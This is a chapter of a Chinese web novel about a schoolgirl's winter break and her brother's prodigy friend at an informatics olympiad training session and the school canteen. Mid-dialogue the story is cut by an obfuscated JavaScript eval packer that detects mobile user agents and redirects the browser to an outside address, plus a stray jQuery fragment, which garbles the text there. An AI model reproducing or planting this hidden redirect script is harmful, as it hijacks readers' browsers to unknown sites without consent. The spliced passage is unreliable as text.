盼望已久的冬假终于来临,学生们的心情也随之快乐了许多。终于考完了所有的大试小试,卷子也讲完了,一大包作业也背回家了——这不就跟学校说拜拜了吗!
冬日的暖阳透过窗帘洒进了房间,虽然是隆冬,但鹿城的天气依然不算寒冷,空气中带着些许湿气,轻轻拂过脸庞,像是春天提前来临的讯息。
姜明珺伸了个懒腰,又在床上滚了滚。明明已经醒了,却依然不急着起床。她懒洋洋地待在被窝里,只眯着眼睛看着窗外——
街道上绿意盎然的行道树依旧保持着生气,枝叶在温暖的阳光下闪烁着微光。虽然鹿城的冬天没有雪花,跟帝都比起来,少了些许节日的气氛,但她还是很满意今年家里留在鹿城过年的决定。
她随手摸到床头的闹钟,昨晚她特意取消了平时的定时,发现现在竟然已经接近十一点,才恍若惊觉,心想:“难怪肚子有点饿。”
早上的懒散和舒适让她忘记了时间的流逝。她轻轻地掀开被子,想要起床,却又觉得这个床的温暖太过诱人。
“哥,哥——”她喊了一声,声音带着几分撒娇和依赖。
没有回应。
她才意识到,姜明祎应该是回学校上竞赛课了。
确实,冬假的时候竞赛生也需要照常返校的,只有新年那几日可以休息。她心里一阵无奈,主要是姜明祎这个人上竞赛课的理由真的很奇怪:比如,他不是因为自己真的喜欢,或者为了升学加分才搞竞赛,他只是因为朋友都参加了,自己也跟着参加,美其名曰,“舍命陪君子”。
听听,这多没有主见,要是她,这么花时间的事情她才不参加。有这时间,去书店的咖啡角,翻翻新到的书,这才叫惬意。
姜明珺揉了揉眼睛,懒洋洋地窝回床上,觉得自己也不应该赖在床上太久。没哥哥帮她拿吃的,她只好决定自己动手了。她翻开被子,懒洋洋地从床上爬起来,走向厨房。看着冰箱里剩余的食材,那就做个简单的三明治吧!
早餐做好了,她坐在餐桌旁,打开电视,随意放着一些无聊的综艺节目,全当背景音。她一边吃,一边想着老哥在学校吭哧吭哧皱着眉头听课受苦的样子,不禁噗嗤一下笑出声来:哥哥是舍命陪君子了,但顾梓聿应该如鱼得水、乐在其中吧?反正他就是纯纯一个大变态,也不知道他的脑子是怎么长的。
这些年,姜明珺跟着他们俩一起长大,那些顾梓聿令竞赛党“闻风丧胆”的光辉事迹她早已倒背如流:
顾梓聿因为超常的天分,在还是小学生的时候就和中学生一起上竞赛课,开始超前学习竞赛知识。初二时,他拿到了物理奥赛 CPhO 全国一等奖,入选了国际物理奥林匹克竞赛 IPhO 的国家集训队。要知道,国际物理奥林匹克竞赛是世界上最高级别的竞赛,主要面向不超过20岁的中学生,但还在读初中的顾梓聿却做到了。
更变态的是,顾梓聿在集训期间坚持做数学奥赛题,其间请假参加数学奥赛 CMO 决赛,又获得了全国一等奖,入选了数学国家集训队。
而这,不过是他初二上学期的事。
最令那些苦命的竞赛党难以置信的是,在两个国家集训队封闭训练时间部分重叠的情况下,顾梓聿靠着部分自学、请假考试,最终在两个集训队都留到了最后:他是数学 IMO 国家队的六分之一,和物理 IPhO 队的五分之一。若不是最终比赛时间冲突,导致他不能同时参加两项竞赛,他很大概率会同时出现在数学和物理两个学科的国际奥赛中。
最终,顾梓聿选择了留在整体实力较弱的物理国家队,而数学金牌的竞争者们则应该很庆幸自己少了一位劲敌。
在竞赛圈里,他的名字成了一个传说。当时,顾梓聿和4名队友赴索伦参加第43届国际物理奥赛,一名索伦队的带队教练还向他打听“认不认识华纳一个很有名的、在数学竞赛方面很强的Gu”。当得知“Gu”就是眼前这个少年时,他还非常疑惑地询问,是否“Gu”走错了赛场。
而顾梓聿在物理竞赛中同样捍卫了他的名声:他在368名选手中获得了金牌第一名。
更夸张的是,顾梓聿在初一和初二时参加的全国信息学竞赛NOI,都入选了国家集训队,只是没有参加后续的IOI。
要知道,IOI、 IMO 和 IPhO 的参赛时间都是背靠背的!也就是说,假如时间精力允许,顾梓聿能同时参加这三项竞赛的话,同时拿到三枚金牌也不是不可能。即便如此,顾梓聿也已经在数学、物理和信息学领域展示了极高的天赋和跨学科的才能。
顾梓聿的竞赛履历堪称传奇,这样金光闪闪的履历背后,他付出了多少,姜明珺看在眼里。虽然顾梓聿在她面前更像一个宽容的大哥哥,但她知道,实际上他是一个对自己要求近乎苛刻的人,这个性格在学术领域也许能有非凡的成就,但他也需要一个能劝他“适当放松”的人,就比如哥哥姜明祎的存在,有点像顾梓聿的心灵按摩师——他更轻松幽默,更能让人喘得上气来。
姜明珺时常想,像顾梓聿这样的人,将来就应该去做基础科学研究,用那种极端的专注力、坚持和探究的精神,解决限制人类发展的科学难题,推动学科的进步和科技的飞跃式发展。
总感觉这样的人的存在,才是人类世界珍贵的财富啊。
人类世界珍贵的财富现在正在焦头烂额中。
倒不是因为竞赛课的强度,纯纯是因为宋熙和——顾梓聿觉得师兄把自己当成了一个准职业小提琴家来培养,该说不说,师兄的成就高,对他的期望更高,简直有点望子成龙的感觉了。
吴老师的态度已经很明确了:除了乐团排练,他现在就是跟着师兄混,但宋熙和这个人真的是闲不下来,在结束了那么繁忙的巡演期之后,他居然每天仍然转的像个陀螺一样。这不,自从第一次见面到今天为止,不过10天,但他们已经见过三次了。
原本他对自己这个寒假的安排只是学校的竞赛课和乐团排练,也因此,他还存了几分可以有闲暇时间和姜明祎去打几场球的“非分之想”。没想到,现在看来纯纯是妄想。
放假到现在,他除了第一个星期天,没晚于过七点起床——多悲惨的假期,顾梓聿已经习惯了。
早上起来先练琴,九点准时到初中部参加信竞的课。十二点最晚十二点半去食堂吃饭,下午按需点课,首先保证师兄的小课,要是师兄不召唤他,他再在物竞/数竞/化竞的课堂上随机刷新出现。
机房内,虽然是大白天的,仍然拉紧了窗帘,室内白色的日光灯照亮了整齐排列的电脑,学生们三三俩俩地坐在一起。屏幕上闪烁着熟悉的代码编辑器以及学校内部的在线评测系统。房间里弥漫着淡淡的咖啡味——这是机房内唯一被允许带进来的“战斗口粮”。
墙上贴着几张醒目的红字标语:
“独立思考、不惧挑战!”
“要么AC,要么重来!”
“算法是一种思维方式。”
讲台的整面白板上写满了各种算法公式、推导过程和伪代码,右半边还残留着模糊的状态转移方程和图论问题的手绘示意图。进门的桌子上摆着好几本厚厚的参考书:《算法导论》、《计算机程序设计艺术》、《挑战程序设计竞赛》,也不知道是谁的,忘记带回去了,在这儿放久了,也就随之成了公用的了,供大家随时翻阅。
顾梓聿和姜明祎常常是一起到的,但张铎总是悄无声息地就已经坐在那里了,谁都不知道他究竟是什么时候到的——难怪他管钥匙呢。然后机房陆陆续续就有人来,大家都很自觉地,来了之后就安安静静地坐在那里开始刷题。傅尧肯定不是最早一批来的,但他也不是最后一个,迟到一哥总是方灵烨。
大家的风格各不相同,有人算得飞快,像是在与时间赛跑;有人停顿许久,陷入沉思,然后突然猛然敲下一行代码。
除了方灵烨。
这小子是真的聒噪,机房里除了键盘敲击声,就是他喃喃自语的声音:“这个 f(n) 到底能不能拆成 f(n-1) + f(n-2) 这种形式?如果可以,那就是 DP,否则可能要用数论技巧……”
他完全沉浸在自己的世界里,幸好周围大家都很nice,没人想把一直发出背景音的他扔出去。
张铎算是冷静型的,他总是戴着森海塞尔的降噪耳机,已经提交了十几次的题,每一次失败都会在代码旁边留下注释:“TLE 可能是 log 的优化不到位?”、“WA,可能是边界没考虑?”他像个机器一样有条不紊地调试代码,直到那行绿色的“Accepted” 终于出现在屏幕上,他才轻轻舒了一口气,揉了揉眼睛,开始看下一道题。
姜明祎的风格算是暴力流,用他的话来说就是“先写个能跑的”。看到一道题如果没有思路,他通常都是“能写暴力就写暴力”,不管算法最优解是什么,先写一段跑起来再说。
“过了吗?”顾梓聿冷不丁甩来一句。
“WA了。”姜明祎摸摸脑门,叹了口气。
“优化了吗?”
“在优化呢,把三重循环改二重,直接在外层循环计算和,避免 O(n?),时间复杂度会好点。”
改完,他再次提交。结果还是 WA,他叹了口气,抓了抓头发,朝屏幕翻了个白眼:“我的生命又浪费了五分钟,梓聿,你帮我看一眼呗,就求个最大连续子数组和,这个要怎么做啊?”
“这么经典的算法问题求 Maximum Subarray Sum,你是不是上课没听?暴力枚举肯定不行,可以用分治法、前缀和或者动态规划,时间复杂度逐个递减,你选一个吧。”
顾梓聿看着腆着脸凑上来想直接看答案的好兄弟,十分冷酷地转过头:“算法导论里有很详细的解释,自己看书去。”
姜明祎看着顾梓聿的屏幕,直接念出声来:“…某城市有 N 个工厂(编号 1~N),M 个商店(编号 N+1 ~ N+M),需要运输货物。每个工厂最多可以生产一定数量的货物,每个商店需要一定数量的货物。运输货物的费用由路径的单位运费决定,求如何安排运输,使得在满足所有商店需求的情况下,总运输费用最小。”
“这是个网络流问题,啊,我最讨厌网络流了…你模要怎么建?”
“这是典型的最小费用最大流,需要在最大流的基础上,增加边的费用,找到总费用最小的最大流方案。首先需要添加超级源 S,向所有工厂连边(容量 = 产量),然后添加超级汇 T,所有商店向 T 连接(容量 = 需求),用差分约束系统 SPFA 或者 Dijkstra 计算最短费用路径,用 EK 或 Dinic 增广路径求最大流。”
“好的好的,明白了。”姜明祎连忙点头表示自己听懂了——其实他并没有听懂,但为了不让旁边这个疯狂算法怪继续在自己耳边啰嗦下去,他只能装作理解并完全赞同顾梓聿的解题思路,好让他老人家心满意足地回到自己的草稿纸中去。
该说不说,人比人气死人,今天的训练题一共就5题,他俩一起到的,他还在第2题,顾梓聿已经做到最后一题了。虽然目标是尽量在规定时间内完成尽可能多的题目,大家都在埋头苦干。但毕竟规定时间是5个小时呀,顾梓聿你能不能做个人!
傅尧专注地盯着自己的代码,他用的是 Dijkstra,但某个测试点始终报错,磨了很久还过不去,他忍不住低声自问自答:“难道有负权边?可题目说不会有啊?”
顾梓聿在一旁听到了,随口说了一句:“不会是 0 作为权值吧?如果有 0,你 Dij 可能会出问题。”
傅尧愣了一下,迅速修改代码,提交——Accepted!
他不禁心悦诚服地长出一口气:顾梓聿果然还是强。
旁边的黄颖听到顾梓聿的提示,看着自己始终没有思路的题目,还是忍不住发问:“顾梓聿,你动态区间最值查询用的是线段树还是树状数组?”
顾梓聿一边看着自己的伪代码脑子飞速转个不停,一边答道:“看你怎么考虑了,树状数组应该更快,但如果是动态区间修改的话,树状数组可能不太好扩展。你可以两种都试试,看看哪个更适合。”
“对了黄颖 ,”姜明祎插了句嘴,“待会儿做出来之后记得分享一下啊,我还没做到那儿呢。”
黄颖点点头,站起来伸了个懒腰,又重新回到座位上认真钻研。
“诶,彭昱呢?怎么没看见他?”姜明祎磨了会儿洋工,突然意识到好像冬假都没看见彭昱的影子。
“他请假回家过年了,可能开学前会回来的早点儿。”张铎的声音闷闷地响起,“顾梓聿,你做到第几题了?”
整间机房里的耳朵都竖了起来。
顾梓聿不好意思地笑了笑:“我今天只待一个上午,所以比较赶哈,你们慢慢来。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266189|166578||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
“老大,你不是要做完了吧?”方灵烨传来一声鬼叫,“这么凶残?我才刚做完第四题!”
姜明祎看着自己的电脑屏幕——他还卡在第2题。
怎么回事?!明明他比方灵烨早到好吧!
唉,算了算了,早该习惯的不是吗?对身旁这些怪物。
顾梓聿提交了最终答案,屏幕上绿色的“Accepted”幽幽地闪耀。
旁边的陈文坤连忙瞅准时机:“顾神,怎么求这个大数的拆分方案数啊?我刚用递归搜索…”
“那题用不了递归!用递归肯定 Time Limit Exceeded, 你这个复杂度都要 O(n!),肯定炸啊!” 方灵烨抢着回答。
“但我加了剪枝!”陈文坤很不服气。
顾梓聿笑了笑:“加剪枝也没太大用,这题应该用数论+母函数,拆成一个组合数学问题,这样复杂度可以做到 O(N^{3/2})。你看看数论的解法吧。”
“好嘞顾神,谢谢顾神!” 陈文坤乐呵呵地回去磕题了,方灵烨倒得到了灵感,又开始自言自语:“啊,原来老大是这么解的…我之前用的动态规划,要不重做一遍?”
随着时间推移,提交成功的人越来越多,机房里偶尔零星的两三句交流慢慢变成了交流与讨论的海洋。有人兴奋地说:“我今天突破了,我终于能自己推 DP 方程了!” 有人则捶胸顿足:“这题我明明会,调了一小时 bug!”
顾梓聿看了看表,已经12点25了,他戳了戳姜明祎,“吃饭去?”
天知道姜明祎等这句话等多久了,他几乎是下一刻就从椅子上弹起来:“走,去食堂,谁去谁不去?”
有学生陆陆续续站起来,但也有人沉浸在代码的世界里,铁了心的要把题磕出来。黄颖就直接把自己饭卡给了旁边的朋友,“帮我带个鸡腿堡,谢啦!”
傅尧一向是回家吃饭的,张铎也把饭卡给了姜明祎请他帮忙带饭,方灵烨已经埋头在计算新的优化方案,对他来说,这种思考的游戏永无止境。
行吧。姜明祎裤袋里揣着一兜饭卡,肩负着替大家买饭的重大任务往食堂进发,顾梓聿走在一旁,心已经飞到了食堂的现煮面窗口。
“你想吃啥?”姜明祎问着,心里已经有了答案。
“现煮…”
“面!”
见朋友接上了自己的话,顾梓聿笑开了,“知父莫若子啊!”
“滚!我才是你爹。”姜明祎拉长了声音,“我就不明白了,你怎么那么喜欢吃现煮面呢?”
“好吃啊,又是热乎的,那可是我的冬日续命神器!”
正好现在放假,学校里就他们这些人,他才能有这奢侈的时间来排现煮面,要是在正常的学期日,一进食堂,你准能看见现煮面的窗口排着老长一队,至少能排半个小时。
而现在——
顾梓聿远远就闻到一股浓郁的汤香,直钻鼻腔,勾得人肚子立刻唱起空城计。他顺着味道走到现煮面窗口前,锅里面条正随着热气翻腾着,他轻车熟路地拿起碗,自己选起配料:
二十几种配料一字排开,简直是食堂界的“豪华套餐”,卤牛肉切得厚厚的,还有红肠、剔骨肉、午餐肉、各式各样的丸子、米血;茶叶蛋、鹌鹑蛋、煎荷包蛋个个都可爱;油豆腐、豆皮、豆干、腐竹,个个都金黄油亮,看着就香,更别提那些水嫩的油菜、菠菜、上海青、空心菜。
配上各式的面:阳春面、挂面、泡面、刀削面、米粉、米线、土豆粉,不一而足。
把配好的豪华面碗递给煮面阿姨,顾梓聿幸福满满地看着雾气升腾,尽管肚子已经开始咕噜咕噜,他仍然很耐心地等着属于自己的小锅咕嘟咕嘟。
“你是不是吃完就要走了?”
姜明祎一只手拎着一堆吃的,另一只手端着冒着热气的盖浇饭,绕到顾梓聿对面坐下。
这家伙已经开始吃他的面了:细长而韧的面条,煮到恰到好处,吃进嘴里还带点弹牙的爽滑感。一颗荷包蛋漂浮在碗里,他还多要了个茶叶蛋,焯水后的油菜,翠绿嫩脆,点缀得刚刚好。就看顾梓聿先喝着一口汤,再嗦一口面,最后满足地眯起眼睛,一脸“人生值得”的表情。
“是啊,我下午师兄约了课,估计两点多就得走。讲评就不听了,不知道今天是宋美人还是老肖?”
“你是不是5题都 AC 了?”姜明祎抓住关键点,“不然你今天心情这么好来吃面。”
嘿嘿。顾梓聿翘了翘嘴角,给了个迷之微笑。
“行,你可以,牛逼。”姜明祎显然又忘了眼前这家伙跟自己不是一个物种,“我倒希望今天是老肖,至少他能接受我的暴力流。”
确实,老肖的口头禅就是“先别管优化,先写个能跑的版本”,然后再来些莫名其妙的玄学优化,姜明祎算是完整地传承了他的衣钵。傅尧每次坐在那儿入定的时候,老肖就会凑上去叨叨,“你在那儿想半天不如先把最简单的暴力版写出来,测一测能不能跑,这不是数学推导,跑出来才有意义。”
“不过我还是更喜欢宋美人的风格,”顾梓聿又嗦了一口面,嘟囔道,“优雅,极致的优雅,极致的和谐。"
"In other words, coding is harmony.”
宋人语是信竞队的总教练,已经带了十多年信竞,变态般地注重代码风格,严苛地要求学生写规范的变量命名、合理的注释。
“哈,你上次不在,太搞笑了,宋美人说方灵烨的天书她看不懂,原话是 ‘这代码你自己过一个月还能看懂?变量名 i,j,k 你要写小说吗?’ 搞得方灵烨一整天都在反复改变量名,你知道他是个英语渣的。”
顾梓聿想象一下宋美人冷着脸毒液狂喷的场景,也不由地笑出声来。
“说好了哈,要是下午是宋美人讲评,你得帮我记笔记,晚上发我。”
“行,”姜明祎认命地答应了下来,“你知道我的,我可不敢保证不走神,完全把思路听懂。我把代码给你抄下来你自己回去读行不行?”
“当然不行啊!宋美人说的每句话都很重要!”顾梓聿威胁性地掐了掐好兄弟的后脖颈,“记得啊,每个字、每句话!要不然我就陪不了你去打球了。”
“哎呦呵,”姜明祎冷冷一句回击,反手一刀直接捅穿顾梓聿,鲜血四溅,“您这个冬假,还能有时间打球呢?”